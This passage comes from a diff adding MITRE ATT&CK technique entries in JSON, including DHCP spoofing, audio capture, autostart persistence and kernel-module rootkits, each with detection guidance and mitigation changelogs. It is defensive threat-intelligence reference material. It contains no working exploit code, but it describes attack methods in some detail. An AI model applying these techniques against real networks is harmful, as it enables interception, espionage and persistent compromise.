Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1595/002", + "external_id": "T1595.002" + }, + { + "source_name": "OWASP Vuln Scanning", + "description": "OWASP. (n.d.). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.", + "url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 13:37:31.317000+00:00\", \"old_value\": \"2023-03-13 20:46:31.907000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-24 19:30:56.727000+00:00", + "modified": "2024-09-12 19:46:04.759000+00:00", + "name": "DHCP Spoofing", + "description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1557/003", + "external_id": "T1557.003" + }, + { + "source_name": "rfc2131", + "description": "Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022.", + "url": "https://datatracker.ietf.org/doc/html/rfc2131" + }, + { + "source_name": "new_rogue_DHCP_serv_malware", + "description": "Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022.", + "url": "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/" + }, + { + "source_name": "rfc3315", + "description": "J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022.", + "url": "https://datatracker.ietf.org/doc/html/rfc3315" + }, + { + "source_name": "dhcp_serv_op_events", + "description": "Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)" + }, + { + "source_name": "solution_monitor_dhcp_scopes", + "description": "Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.", + "url": "https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/" + }, + { + "source_name": "w32.tidserv.g", + "description": "Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022.", + "url": "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Alex Spivakovsky, Pentera", + "Andrew Allen, @whitehat_zero" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:46:04.759000+00:00\", \"old_value\": \"2022-10-21 15:18:16.023000+00:00\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.\", \"old_value\": \"Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved March 7, 2022.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/\", \"old_value\": \"https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:24.512000+00:00", + "modified": "2024-10-15 16:22:56.372000+00:00", + "name": "Application Window Discovery", + "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1010", + "external_id": "T1010" + }, + { + "source_name": "ESET Grandoreiro April 2020", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.", + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/" + }, + { + "source_name": "Prevailion DarkWatchman 2021", + "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.", + "url": "https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Windows", + "Linux" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:22:56.372000+00:00\", \"old_value\": \"2023-04-15 16:46:04.776000+00:00\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/\", \"old_value\": \"https://www.prevailion.com/darkwatchman-new-fileless-techniques/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:34.528000+00:00", + "modified": "2024-10-15 13:39:22.774000+00:00", + "name": "Audio Capture", + "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1123", + "external_id": "T1123" + }, + { + "source_name": "ESET Attor Oct 2019", + "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 13:39:22.774000+00:00\", \"old_value\": \"2024-01-23 22:53:18.389000+00:00\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 17:46:59.535000+00:00", + "modified": "2024-09-12 15:27:58.051000+00:00", + "name": "Boot or Logon Autostart Execution", + "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547", + "external_id": "T1547" + }, + { + "source_name": "Cylance Reg Persistence Sept 2013", + "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.", + "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order" + }, + { + "source_name": "MSDN Authentication Packages", + "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx" + }, + { + "source_name": "Microsoft Run Key", + "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys" + }, + { + "source_name": "Microsoft TimeProvider", + "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx" + }, + { + "source_name": "Linux Kernel Programming", + "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.", + "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Module: Module Load", + "Command: Command Execution", + "File: File Creation", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Modification", + "Kernel: Kernel Module Load", + "Process: Process Creation", + "Driver: Driver Load" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:27:58.051000+00:00\", \"old_value\": \"2024-04-16 12:26:07.945000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.\", \"old_value\": \"Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys\", \"old_value\": \"http://msdn.microsoft.com/en-us/library/aa376977\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0008: Kernel (Kernel Module Load)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0027: Driver (Driver Load)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 17:42:23.339000+00:00", + "modified": "2024-09-12 17:30:54.170000+00:00", + "name": "Kernel Modules and Extensions", + "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/006", + "external_id": "T1547.006" + }, + { + "source_name": "Apple Developer Configuration Profile", + "description": "Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.", + "url": "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf" + }, + { + "source_name": "Apple Kernel Extension Deprecation", + "description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020.", + "url": "https://developer.apple.com/support/kernel-extensions/" + }, + { + "source_name": "System and kernel extensions in macOS", + "description": "Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022.", + "url": "https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web" + }, + { + "source_name": "GitHub Reptile", + "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.", + "url": "https://github.com/f0rb1dd3n/Reptile" + }, + { + "source_name": "Volatility Phalanx2", + "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.", + "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html" + }, + { + "source_name": "iDefense Rootkit Overview", + "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved September 12, 2024.", + "url": "https://www.megasecurity.org/papers/Rootkits.pdf" + }, + { + "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs", + "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.", + "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html" + }, + { + "source_name": "CrowdStrike Linux Rootkit", + "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.", + "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/" + }, + { + "source_name": "GitHub Diamorphine", + "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.", + "url": "https://github.com/m0nad/Diamorphine" + }, + { + "source_name": "Securelist Ventir", + "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.", + "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/" + }, + { + "source_name": "User Approved Kernel Extension Pike\u2019s", + "description": "Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\u2026. Retrieved September 23, 2021.", + "url": "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/" + }, + { + "source_name": "Linux Kernel Module Programming Guide", + "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.", + "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html" + }, + { + "source_name": "Linux Kernel Programming", + "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.", + "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf" + }, + { + "source_name": "Trend Micro Skidmap", + "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/" + }, + { + "source_name": "Purves Kextpocalypse 2", + "description": "Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.", + "url": "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/" + }, + { + "source_name": "RSAC 2015 San Francisco Patrick Wardle", + "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Synack Secure Kernel Extension Broken", + "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018.", + "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/" + }, + { + "source_name": "Wikipedia Loadable Kernel Module", + "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.", + "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Wayne Silva, F-Secure Countercept", + "Anastasios Pingios", + "Jeremy Galloway", + "Red Canary", + "Eric Kaiser @ideologysec" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Creation", + "File: File Modification", + "Kernel: Kernel Module Load", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nOn macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\n", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "root" + ], + "x_mitre_platforms": [ + "macOS", + "Linux" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 17:30:54.170000+00:00\", \"old_value\": \"2022-04-20 18:53:39.406000+00:00\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved September 12, 2024.\", \"old_value\": \"Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"https://www.megasecurity.org/papers/Rootkits.pdf\", \"old_value\": \"http://www.megasecurity.org/papers/Rootkits.pdf\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1038: Execution Prevention", + "M1049: Antivirus/Antimalware" + ], + "new": [], + 